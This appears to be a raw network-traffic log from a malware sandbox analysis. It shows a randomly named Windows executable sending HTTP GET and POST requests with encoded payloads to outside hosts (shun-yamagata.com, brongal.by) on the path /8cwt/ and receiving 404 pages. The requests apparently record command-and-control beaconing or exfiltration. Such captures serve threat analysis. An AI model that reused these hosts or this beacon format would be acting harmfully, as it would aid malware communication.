Jun 4, 2024 14:18:08.420361996 CEST	300	IN	Data Raw: b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e 89 ab e2 96 58 e3 37 f9 df fc 0b be 0e bf 77 c5 13 38 8d ab fc e1 ea 15 7e 9f 5f e1 3b fc 29 bf c5 77 f9 8f 52 d7 59 02 50 39 ed df 44 8e 87 c3 b0 64 ea c5 69 Data Ascii: -%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-sX[J{m/W~?,;s:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.30	49867	162.43.104.164	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:10.959743023 CEST	432	OUT	GET /8cwt/?24eluX=l+yNdBmIbZk94DyhKMCQgPu5et7F5Fjr+MUK0mOzdhwjPjmD5w+n15/KVowCPgtS4Y9yjKxUIxHTxuQuQfpR6KughRwQexCRaaEyjIZ4vPoy+iMgbgX/vtU=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.shun-yamagata.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:18:11.269223928 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 04 Jun 2024 12:18:09 GMT Content-Type: text/html Content-Length: 2814 Connection: close Vary: Accept-Encoding Last-Modified: Tue, 25 Jul 2023 10:57:57 GMT ETag: "afe-6014d9a904f4f" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"><head><meta charset="EUC-JP" /><title>404 File Not Found</title><meta name="copyright" content="Copyright XSERVER Inc."><meta name="robots" content="INDEX,FOLLOW" /><meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0"><style type="text/css">* { margin: 0; padding: 0;}img { border: 0;}ul { padding-left: 2em;}html { overflow-y: scroll; background: #3b79b7;}body { font-family: "", Meiryo, " ", "MS PGothic", " Pro W3", "Hiragino Kaku Gothic Pro", sans-serif; margin: 0; line-height: 1.4; font-size: 75%; text-align: center; color: white;}h1 { font-size: 24px; font-weight: bold;}h1 { font-weight: bold; line-height: 1; padding-bottom: 20px; font-family: Helvetica, sans-serif;}h2 { text-align: center; font-weight: bold; font-size: 27px;}p { text-align: center; font-size: 14px; margin: 0; [TRUNCATED]
Jun 4, 2024 14:18:11.269238949 CEST	1289	IN	Data Raw: 70 6c 61 69 6e 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 66 66 66 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 66 66 66 3b 0a 20 20 20 20 6c 69 6e Data Ascii: plain { border-top: 1px solid #fff; border-bottom: 1px solid #fff; line-height: 1.5; margin: 30px auto; padding: 17px;}#cause { text-align: left;}#cause li { color: #666;}h3 { letter-spacing: 1px; font
Jun 4, 2024 14:18:11.269294977 CEST	476	IN	Data Raw: a5 b8 a4 cf b8 ab a4 c4 a4 ab a4 ea a4 de a4 bb a4 f3 a4 c7 a4 b7 a4 bf a1 a3 3c 2f 68 32 3e 0a 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 65 78 70 6c 61 69 6e 22 3e a4 b3 a4 ce a5 a8 a5 e9 a1 bc a4 cf a1 a2 bb d8 c4 ea a4 b7 a4 bf a5 da a1 bc a5 Data Ascii: </h2> <p class="explain"></p> <h3></h3> <div id="white_box"> <div id="cause"> <ul>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.30	49868	93.125.99.134	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:26.097327948 CEST	680	OUT	POST /8cwt/ HTTP/1.1 Host: www.brongal.by Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.brongal.by Referer: http://www.brongal.by/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 37 4a 63 51 37 6f 49 41 62 76 67 52 52 33 79 37 58 38 55 4c 53 55 54 39 43 45 42 6e 74 33 79 56 66 70 4e 35 66 61 4b 61 42 68 6a 47 6d 4e 71 78 6c 75 67 35 72 72 43 55 5a 47 4c 33 57 4c 6f 6e 75 34 45 4c 4f 62 36 62 53 68 68 49 61 64 57 4c 72 52 50 2b 61 6e 56 37 4c 50 32 71 2b 58 4a 69 6c 4c 78 53 71 30 65 41 6b 63 36 39 48 78 42 61 63 48 37 72 6b 71 54 44 48 55 68 63 69 6f 5a 34 6b 47 55 50 31 6e 59 57 72 49 2b 58 6a 76 61 51 46 30 74 6d 64 54 35 6a 6e 50 47 30 39 2b 63 4e 72 46 4b 54 34 45 42 58 62 43 57 76 4e 71 68 48 79 69 6b 6b 65 71 64 36 5a 61 66 71 37 75 57 42 37 67 3d 3d Data Ascii: 24eluX=7JcQ7oIAbvgRR3y7X8ULSUT9CEBnt3yVfpN5faKaBhjGmNqxlug5rrCUZGL3WLonu4ELOb6bShhIadWLrRP+anV7LP2q+XJilLxSq0eAkc69HxBacH7rkqTDHUhcioZ4kGUP1nYWrI+XjvaQF0tmdT5jnPG09+cNrFKT4EBXbCWvNqhHyikkeqd6Zafq7uWB7g==
Jun 4, 2024 14:18:26.778142929 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.4.33 x-litespeed-tag: 2cc_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://brongal.by/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache content-encoding: gzip vary: Accept-Encoding x-turbo-charged-by: LiteSpeed Data Raw: 33 33 63 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 93 e3 46 92 d8 e7 66 84 fe 43 0d e4 ed 26 25 00 04 c0 37 d9 6c ad 34 92 76 65 cf 48 b2 66 e6 b4 be e9 09 46 11 28 92 e8 01 01 2c 0a ec 87 5a 8c d8 dd b3 cf 1f 7c 11 b6 c3 1f 1c 61 47 d8 71 1f fd 4d be 5d 9d f7 ee 56 fa e0 5f c0 f9 47 8e ac 07 50 20 41 36 fb b1 d6 ee 85 26 24 36 59 8f cc ac ac ac ac ac 47 66 1d 3f f2 22 37 bd 8a 09 9a a5 f3 e0 a4 72 0c 7f 50 80 c3 e9 50 4b 16 c6 17 2f 34 48 23 d8 3b a9 1c 1c cf 49 8a 91 3b c3 09 25 e9 50 7b f1 fc 63 a3 ab 65 e9 21 9e 93 a1 76 ee 93 8b 38 4a 52 0d b9 51 98 92 30 1d 6a 17 be 97 ce 86 1e 39 f7 5d 62 b0 1f 3a f2 43 3f f5 71 60 50 17 07 64 68 33 28 81 1f be 46 09 09 86 5a 9c 44 13 3f 20 1a 9a 25 64 32 d4 66 69 1a d3 7e bd 3e 9d c7 53 33 4a a6 f5 cb 49 58 b7 79 25 46 12 43 7d 94 44 e3 28 a5 47 19 e2 a3 30 f2 43 8f 5c ea 68 12 05 41 74 71 84 ea 27 95 ca c1 f1 23 c3 40 cf 67 3e 45 d4 4f 09 f2 29 8a e2 d4 9f fb 5f 11 0f 5d f8 e9 0c a5 33 82 fe 4d 84 69 8a 9e 7d f4 19 8a 83 c5 d4 0f d1 b9 e3 98 0d 64 20 [TRUNCATED] Data Ascii: 33cb}kFfC&%7l4veHfF(,Z\|aGqM]V_GP A6&$6YGf?"7rPPK/4H#;I;%P{ce!v8JRQ0j9]b:C?q`Pdh3(FZD? %d2fi~>S3JIXy%FC}D(G0C\hAtq'#@g>EO)_]3Mi}d I0h^/Nu^)03do~WoV~Wwo?~!}Du^K2<N$P )M/^h4?RvlzQ$k8\|~3rLPc4;#slLkLz.S>/OykCk_3?%{J19}A@k$(/kX_5Q5M8$Zz(5\[ZqT3k)N$eE>SNs2BP*M})9JI24$W`oB~!66hWOp8])`jaLm.1z_W~V~n=\}5_Yt3+oVt7h\|dq
Jun 4, 2024 14:18:26.778270960 CEST	1289	IN	Data Raw: 25 2d db d5 80 3a 97 c2 3a 00 ad fb 00 a9 be 0b fd 45 6c 08 35 58 5f c4 41 84 3d 5a 77 2c a7 59 b7 1a 75 d1 57 06 40 b2 4d 7a 0e 52 2d ca be d8 26 9b b7 04 c7 74 ad d6 6f 77 74 6d 46 fc e9 2c d5 fa 0d 5b d7 5c 1c 73 e9 d3 ee cb f8 a5 ae 31 1e ec Data Ascii: %-::El5X_A=Zw,YuW@MzR-&towtmF,[\s1e<[._-\|T\&q65y!5LHpT4WL5$aw/E4@oVOEH{x0_aI_~vw;q)+IF_]3IS?R4D
Jun 4, 2024 14:18:26.778368950 CEST	1289	IN	Data Raw: 57 ab 6a ef be 5c 9b 85 69 4d 5f 28 65 f4 58 f9 f1 ca 3c 8b fc b0 aa e9 5a ed 5d ad 56 1b 68 7a c2 c4 09 50 56 5f 92 57 fa 35 28 8e be 06 23 b3 7e 86 cf b1 18 1f 4b 18 de a0 17 b8 42 a9 96 b4 a5 9a d4 f4 6b 58 b3 f5 b5 8b 18 3a 81 8f 02 29 fd f9 Data Ascii: Wj\iM_(eX<Z]VhzPV_W5(#~KBkX:)=\|(6BFjn519H>Va\+]E'U/V[l30(&QRec!"\|L_T\|eCpTRd0F-,=4?)h#[>A0jjAk5EJ
Jun 4, 2024 14:18:26.778383970 CEST	1289	IN	Data Raw: 6e 8e dd 6e e8 d0 d9 b6 73 a3 18 cd 7d 2f 04 75 b8 1b 87 de d0 6d a7 97 c1 6f 5a ba 6d b7 75 a7 b5 a5 f7 32 b3 c4 30 e8 1c 07 41 1f d9 8d f8 72 4d 1f 2b 85 c0 92 83 c1 e7 58 bb 4a 05 70 80 d9 47 8d f6 ae 42 97 86 28 d6 74 36 8a d1 18 bb 7e 38 35 Data Ascii: nns}/umoZmu20ArM+XJpGB(t6~85#l62_#+`EEV;[ovh[}"fJiKa8]$8v\|M>aax}d^hY%jNsYE+V7?<5=kau6;kebFR5}j
Jun 4, 2024 14:18:26.778498888 CEST	1289	IN	Data Raw: 69 b2 94 a6 92 d2 62 29 2d 25 a5 cd 52 da 4a 4a 87 a5 74 94 94 2e 4b e9 2a 29 3d 96 d2 cb 52 3a 8f 39 a9 ef 3e 0b f0 f8 cf 82 de a7 c0 7a 92 24 38 fd d3 27 f7 f0 6d ab d1 1d 88 fb 03 43 7a 81 63 9e 42 17 63 88 a6 e1 5e 25 7e 10 f8 2e 4f cc 7c 52 Data Ascii: ib)-%RJJt.K*)=R:9>z$8'mCzcBc^%~.O\|Rw-N!"IS.GIDiS?<Qe,wy;+0>{X{/}<Hbg{OuC^QD2J!>y\)NS<5hs'U"pC(\\\
Jun 4, 2024 14:18:26.778513908 CEST	1289	IN	Data Raw: 80 5c 7a 39 1e e4 ff 8e f1 9a 3d 9c 9b b0 52 4c 0f 0e 8e fd f9 54 4e 68 ed 8e 86 e4 34 d7 b0 b5 e2 94 99 57 06 fb 77 7d 99 be 3d 9c 93 54 85 38 4d b1 3b 03 2f 58 63 b2 08 02 04 0e 80 fc 1b 84 a8 81 10 52 b0 12 ef 68 08 07 e9 50 83 59 4b b6 84 a9 Data Ascii: \z9=RLTNh4Ww}=T8M;/XcRhPYK;={JWPUvnH.4F9@)'t168R%@(p,3h`{eFMAyxLISF7o,J@<Ybf(/40Sqz>y$S
Jun 4, 2024 14:18:26.778531075 CEST	1289	IN	Data Raw: b9 3e 0e 98 5d 40 47 10 3d 7f e4 fa 89 1b 90 11 04 92 1d 91 c9 84 9d 4e b2 ad 5a b0 f5 05 82 9b 17 db 1c 8d d8 c7 bc 0d b2 fb ac c3 e0 88 85 1d 5d a1 67 ac 59 e8 13 37 0a 29 fa 12 1e 05 78 cc 9a 85 3e f6 83 00 7d c4 9a c5 23 fc 1f f0 73 50 38 2d Data Ascii: >]@G=NZ]gY7)x>}#sP8-b 4He\+Es?%$,4sq_El4@`t wmx#mrG\|yg5: 6?v9=Vng-wDcnqdu1%z9-{74N
Jun 4, 2024 14:18:26.778543949 CEST	1289	IN	Data Raw: 2a 05 6e 1f c8 8b 0d 88 0f 70 b9 b5 21 9e 1e e0 11 e9 f9 d2 43 c4 75 84 88 9a 76 0b 64 19 d4 c1 da 3d 37 24 2e ba f1 35 df 9e e3 ad a0 17 58 94 c9 6d 5a 21 5f 6e 58 d6 f9 0c 28 90 ea c8 b8 54 15 92 32 c8 40 74 d7 77 6c 10 62 11 2e 3d 3f 21 ec 19 Data Ascii: np!Cuvd=7$.5XmZ!_nX(T2@twlb.=?!>w{FAFee6)'L;lu8,Dh}ho]l)g*KN/4VJ(wcKg\|trpC\^EXCnAM+wHzo46?f^#$aX
Jun 4, 2024 14:18:26.778554916 CEST	1289	IN	Data Raw: 53 71 eb 63 bd 57 76 63 5b c4 6b b8 58 e3 64 a3 95 1b cf 05 8c 42 02 b8 fb 1f 53 c9 4c d4 84 f8 f3 08 21 e2 07 74 66 14 42 ac 8f 4c 04 d7 c4 86 db 9c 4a 37 1f 1c 28 1c ce 79 0d df 0a 3c 28 99 b4 37 3a b9 08 4a b4 ab 08 73 03 ae dc 5e cb 6c 8c 92 Data Ascii: SqcWvc[kXdBSL!tfBLJ7(y<(7:Js^lbnO<,`Zx(L\"qa/eKdy_Jg#X-dXoW"`Z@S4WS`.j'?1[j"k*<W:loCSJ%p.[KG
Jun 4, 2024 14:18:26.778590918 CEST	1289	IN	Data Raw: ba 04 8e 54 ec 6e b8 05 25 9c 4d e4 25 b8 cf 8b 76 52 b9 88 4d 86 81 92 f4 49 e4 e2 80 7c 88 53 5c 45 d7 88 85 f2 43 99 23 ee e9 c2 b2 ac 66 90 26 47 7d f4 12 1d c1 17 f4 0a 2d 51 6d 90 3f fa 95 cd 54 80 2b 1f 9e f0 8e 66 36 18 ce a8 c1 bd 2a b5 Data Ascii: Tn%M%vRMI\|S\EC#f&G}-Qm?T+f6*9NPJIxF1{`"xFgSi1<Z.ZVmiH5t~T1^hWuMB]vumkt@?%EfLKQH'}ck3LGnSh}x
Jun 4, 2024 14:18:26.778603077 CEST	860	IN	Data Raw: 64 5c 83 70 10 0c 5c 73 a2 e9 1a 7b fb 0f 5a df d1 35 61 cd 8e 0a 69 32 c0 96 d6 d7 e6 f8 52 63 ac 15 6f f8 66 4b 4c 71 2d 96 5c a6 09 7e b8 f6 f3 d1 ac b2 89 b3 8f b3 72 ab 72 bc 37 2f ba 20 12 6b bc e0 69 3b 79 c1 2c 3f 58 c4 b1 57 5f 37 d8 c0 Data Ascii: d\p\s{Z5ai2RcofKLq-\~rr7/ ki;y,?XW_77Xesxrw~-^rr[jcmH#T.an\|v{#x^d\iQ9\lN"7+/1Y1=;DtC\|: ,IB_A)<fz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.30	49869	93.125.99.134	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:28.874996901 CEST	700	OUT	POST /8cwt/ HTTP/1.1 Host: www.brongal.by Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.brongal.by Referer: http://www.brongal.by/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 37 4a 63 51 37 6f 49 41 62 76 67 52 53 57 43 37 59 37 67 4c 56 30 54 79 62 45 42 6e 6b 58 79 5a 66 70 42 35 66 62 65 4b 41 54 33 47 6c 76 43 78 6b 71 4d 35 6d 4c 43 55 54 6d 4c 32 49 37 6f 73 75 34 59 74 4f 62 47 62 53 68 31 49 61 5a 65 4c 72 69 6e 39 41 58 56 35 53 2f 32 6f 39 6e 4a 69 6c 4c 78 53 71 33 6a 72 6b 64 53 39 48 41 78 61 65 69 48 6f 75 4b 54 45 41 55 68 63 70 49 5a 30 6b 47 56 71 31 6a 42 37 72 4b 32 58 6a 72 53 51 43 6c 74 68 54 6a 35 6c 71 76 48 30 36 74 6b 43 7a 6d 4b 56 2b 46 31 61 5a 7a 53 61 42 64 51 64 76 68 51 6d 4e 4b 68 58 46 62 79 43 35 73 58 61 6d 6b 36 42 38 30 30 54 39 70 72 65 30 36 54 52 4a 71 31 62 70 5a 73 3d Data Ascii: 24eluX=7JcQ7oIAbvgRSWC7Y7gLV0TybEBnkXyZfpB5fbeKAT3GlvCxkqM5mLCUTmL2I7osu4YtObGbSh1IaZeLrin9AXV5S/2o9nJilLxSq3jrkdS9HAxaeiHouKTEAUhcpIZ0kGVq1jB7rK2XjrSQClthTj5lqvH06tkCzmKV+F1aZzSaBdQdvhQmNKhXFbyC5sXamk6B800T9pre06TRJq1bpZs=
Jun 4, 2024 14:18:29.506695032 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.4.33 x-litespeed-tag: 2cc_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://brongal.by/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache content-encoding: gzip vary: Accept-Encoding x-turbo-charged-by: LiteSpeed Data Raw: 33 33 63 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 93 e3 46 92 d8 e7 66 84 fe 43 0d e4 ed 26 25 00 04 c0 37 d9 6c ad 34 92 76 65 cf 48 b2 66 e6 b4 be e9 09 46 11 28 92 e8 01 01 2c 0a ec 87 5a 8c d8 dd b3 cf 1f 7c 11 b6 c3 1f 1c 61 47 d8 71 1f fd 4d be 5d 9d f7 ee 56 fa e0 5f c0 f9 47 8e ac 07 50 20 41 36 fb b1 d6 ee 85 26 24 36 59 8f cc ac ac ac ac ac 47 66 1d 3f f2 22 37 bd 8a 09 9a a5 f3 e0 a4 72 0c 7f 50 80 c3 e9 50 4b 16 c6 17 2f 34 48 23 d8 3b a9 1c 1c cf 49 8a 91 3b c3 09 25 e9 50 7b f1 fc 63 a3 ab 65 e9 21 9e 93 a1 76 ee 93 8b 38 4a 52 0d b9 51 98 92 30 1d 6a 17 be 97 ce 86 1e 39 f7 5d 62 b0 1f 3a f2 43 3f f5 71 60 50 17 07 64 68 33 28 81 1f be 46 09 09 86 5a 9c 44 13 3f 20 1a 9a 25 64 32 d4 66 69 1a d3 7e bd 3e 9d c7 53 33 4a a6 f5 cb 49 58 b7 79 25 46 12 43 7d 94 44 e3 28 a5 47 19 e2 a3 30 f2 43 8f 5c ea 68 12 05 41 74 71 84 ea 27 95 ca c1 f1 23 c3 40 cf 67 3e 45 d4 4f 09 f2 29 8a e2 d4 9f fb 5f 11 0f 5d f8 e9 0c a5 33 82 fe 4d 84 69 8a 9e 7d f4 19 8a 83 c5 d4 0f d1 b9 e3 98 0d 64 20 [TRUNCATED] Data Ascii: 33cb}kFfC&%7l4veHfF(,Z\|aGqM]V_GP A6&$6YGf?"7rPPK/4H#;I;%P{ce!v8JRQ0j9]b:C?q`Pdh3(FZD? %d2fi~>S3JIXy%FC}D(G0C\hAtq'#@g>EO)_]3Mi}d I0h^/Nu^)03do~WoV~Wwo?~!}Du^K2<N$P )M/^h4?RvlzQ$k8\|~3rLPc4;#slLkLz.S>/OykCk_3?%{J19}A@k$(/kX_5Q5M8$Zz(5\[ZqT3k)N$eE>SNs2BP*M})9JI24$W`oB~!66hWOp8])`jaLm.1z_W~V~n=\}5_Yt3+oVt7h\|dq
Jun 4, 2024 14:18:29.506710052 CEST	1289	IN	Data Raw: 25 2d db d5 80 3a 97 c2 3a 00 ad fb 00 a9 be 0b fd 45 6c 08 35 58 5f c4 41 84 3d 5a 77 2c a7 59 b7 1a 75 d1 57 06 40 b2 4d 7a 0e 52 2d ca be d8 26 9b b7 04 c7 74 ad d6 6f 77 74 6d 46 fc e9 2c d5 fa 0d 5b d7 5c 1c 73 e9 d3 ee cb f8 a5 ae 31 1e ec Data Ascii: %-::El5X_A=Zw,YuW@MzR-&towtmF,[\s1e<[._-\|T\&q65y!5LHpT4WL5$aw/E4@oVOEH{x0_aI_~vw;q)+IF_]3IS?R4D
Jun 4, 2024 14:18:29.506721973 CEST	1289	IN	Data Raw: 57 ab 6a ef be 5c 9b 85 69 4d 5f 28 65 f4 58 f9 f1 ca 3c 8b fc b0 aa e9 5a ed 5d ad 56 1b 68 7a c2 c4 09 50 56 5f 92 57 fa 35 28 8e be 06 23 b3 7e 86 cf b1 18 1f 4b 18 de a0 17 b8 42 a9 96 b4 a5 9a d4 f4 6b 58 b3 f5 b5 8b 18 3a 81 8f 02 29 fd f9 Data Ascii: Wj\iM_(eX<Z]VhzPV_W5(#~KBkX:)=\|(6BFjn519H>Va\+]E'U/V[l30(&QRec!"\|L_T\|eCpTRd0F-,=4?)h#[>A0jjAk5EJ
Jun 4, 2024 14:18:29.506813049 CEST	1289	IN	Data Raw: 6e 8e dd 6e e8 d0 d9 b6 73 a3 18 cd 7d 2f 04 75 b8 1b 87 de d0 6d a7 97 c1 6f 5a ba 6d b7 75 a7 b5 a5 f7 32 b3 c4 30 e8 1c 07 41 1f d9 8d f8 72 4d 1f 2b 85 c0 92 83 c1 e7 58 bb 4a 05 70 80 d9 47 8d f6 ae 42 97 86 28 d6 74 36 8a d1 18 bb 7e 38 35 Data Ascii: nns}/umoZmu20ArM+XJpGB(t6~85#l62_#+`EEV;[ovh[}"fJiKa8]$8v\|M>aax}d^hY%jNsYE+V7?<5=kau6;kebFR5}j
Jun 4, 2024 14:18:29.506828070 CEST	1289	IN	Data Raw: 69 b2 94 a6 92 d2 62 29 2d 25 a5 cd 52 da 4a 4a 87 a5 74 94 94 2e 4b e9 2a 29 3d 96 d2 cb 52 3a 8f 39 a9 ef 3e 0b f0 f8 cf 82 de a7 c0 7a 92 24 38 fd d3 27 f7 f0 6d ab d1 1d 88 fb 03 43 7a 81 63 9e 42 17 63 88 a6 e1 5e 25 7e 10 f8 2e 4f cc 7c 52 Data Ascii: ib)-%RJJt.K*)=R:9>z$8'mCzcBc^%~.O\|Rw-N!"IS.GIDiS?<Qe,wy;+0>{X{/}<Hbg{OuC^QD2J!>y\)NS<5hs'U"pC(\\\
Jun 4, 2024 14:18:29.506942987 CEST	1289	IN	Data Raw: 80 5c 7a 39 1e e4 ff 8e f1 9a 3d 9c 9b b0 52 4c 0f 0e 8e fd f9 54 4e 68 ed 8e 86 e4 34 d7 b0 b5 e2 94 99 57 06 fb 77 7d 99 be 3d 9c 93 54 85 38 4d b1 3b 03 2f 58 63 b2 08 02 04 0e 80 fc 1b 84 a8 81 10 52 b0 12 ef 68 08 07 e9 50 83 59 4b b6 84 a9 Data Ascii: \z9=RLTNh4Ww}=T8M;/XcRhPYK;={JWPUvnH.4F9@)'t168R%@(p,3h`{eFMAyxLISF7o,J@<Ybf(/40Sqz>y$S
Jun 4, 2024 14:18:29.506973028 CEST	1289	IN	Data Raw: b9 3e 0e 98 5d 40 47 10 3d 7f e4 fa 89 1b 90 11 04 92 1d 91 c9 84 9d 4e b2 ad 5a b0 f5 05 82 9b 17 db 1c 8d d8 c7 bc 0d b2 fb ac c3 e0 88 85 1d 5d a1 67 ac 59 e8 13 37 0a 29 fa 12 1e 05 78 cc 9a 85 3e f6 83 00 7d c4 9a c5 23 fc 1f f0 73 50 38 2d Data Ascii: >]@G=NZ]gY7)x>}#sP8-b 4He\+Es?%$,4sq_El4@`t wmx#mrG\|yg5: 6?v9=Vng-wDcnqdu1%z9-{74N
Jun 4, 2024 14:18:29.507002115 CEST	1289	IN	Data Raw: 2a 05 6e 1f c8 8b 0d 88 0f 70 b9 b5 21 9e 1e e0 11 e9 f9 d2 43 c4 75 84 88 9a 76 0b 64 19 d4 c1 da 3d 37 24 2e ba f1 35 df 9e e3 ad a0 17 58 94 c9 6d 5a 21 5f 6e 58 d6 f9 0c 28 90 ea c8 b8 54 15 92 32 c8 40 74 d7 77 6c 10 62 11 2e 3d 3f 21 ec 19 Data Ascii: np!Cuvd=7$.5XmZ!_nX(T2@twlb.=?!>w{FAFee6)'L;lu8,Dh}ho]l)g*KN/4VJ(wcKg\|trpC\^EXCnAM+wHzo46?f^#$aX
Jun 4, 2024 14:18:29.507014036 CEST	1289	IN	Data Raw: 53 71 eb 63 bd 57 76 63 5b c4 6b b8 58 e3 64 a3 95 1b cf 05 8c 42 02 b8 fb 1f 53 c9 4c d4 84 f8 f3 08 21 e2 07 74 66 14 42 ac 8f 4c 04 d7 c4 86 db 9c 4a 37 1f 1c 28 1c ce 79 0d df 0a 3c 28 99 b4 37 3a b9 08 4a b4 ab 08 73 03 ae dc 5e cb 6c 8c 92 Data Ascii: SqcWvc[kXdBSL!tfBLJ7(y<(7:Js^lbnO<,`Zx(L\"qa/eKdy_Jg#X-dXoW"`Z@S4WS`.j'?1[j"k*<W:loCSJ%p.[KG
Jun 4, 2024 14:18:29.507177114 CEST	1289	IN	Data Raw: ba 04 8e 54 ec 6e b8 05 25 9c 4d e4 25 b8 cf 8b 76 52 b9 88 4d 86 81 92 f4 49 e4 e2 80 7c 88 53 5c 45 d7 88 85 f2 43 99 23 ee e9 c2 b2 ac 66 90 26 47 7d f4 12 1d c1 17 f4 0a 2d 51 6d 90 3f fa 95 cd 54 80 2b 1f 9e f0 8e 66 36 18 ce a8 c1 bd 2a b5 Data Ascii: Tn%M%vRMI\|S\EC#f&G}-Qm?T+f6*9NPJIxF1{`"xFgSi1<Z.ZVmiH5t~T1^hWuMB]vumkt@?%EfLKQH'}ck3LGnSh}x
Jun 4, 2024 14:18:29.507179022 CEST	860	IN	Data Raw: 64 5c 83 70 10 0c 5c 73 a2 e9 1a 7b fb 0f 5a df d1 35 61 cd 8e 0a 69 32 c0 96 d6 d7 e6 f8 52 63 ac 15 6f f8 66 4b 4c 71 2d 96 5c a6 09 7e b8 f6 f3 d1 ac b2 89 b3 8f b3 72 ab 72 bc 37 2f ba 20 12 6b bc e0 69 3b 79 c1 2c 3f 58 c4 b1 57 5f 37 d8 c0 Data Ascii: d\p\s{Z5ai2RcofKLq-\~rr7/ ki;y,?XW_77Xesxrw~-^rr[jcmH#T.an\|v{#x^d\iQ9\lN"7+/1Y1=;DtC\|: ,IB_A)<fz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.30	49871	93.125.99.134	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
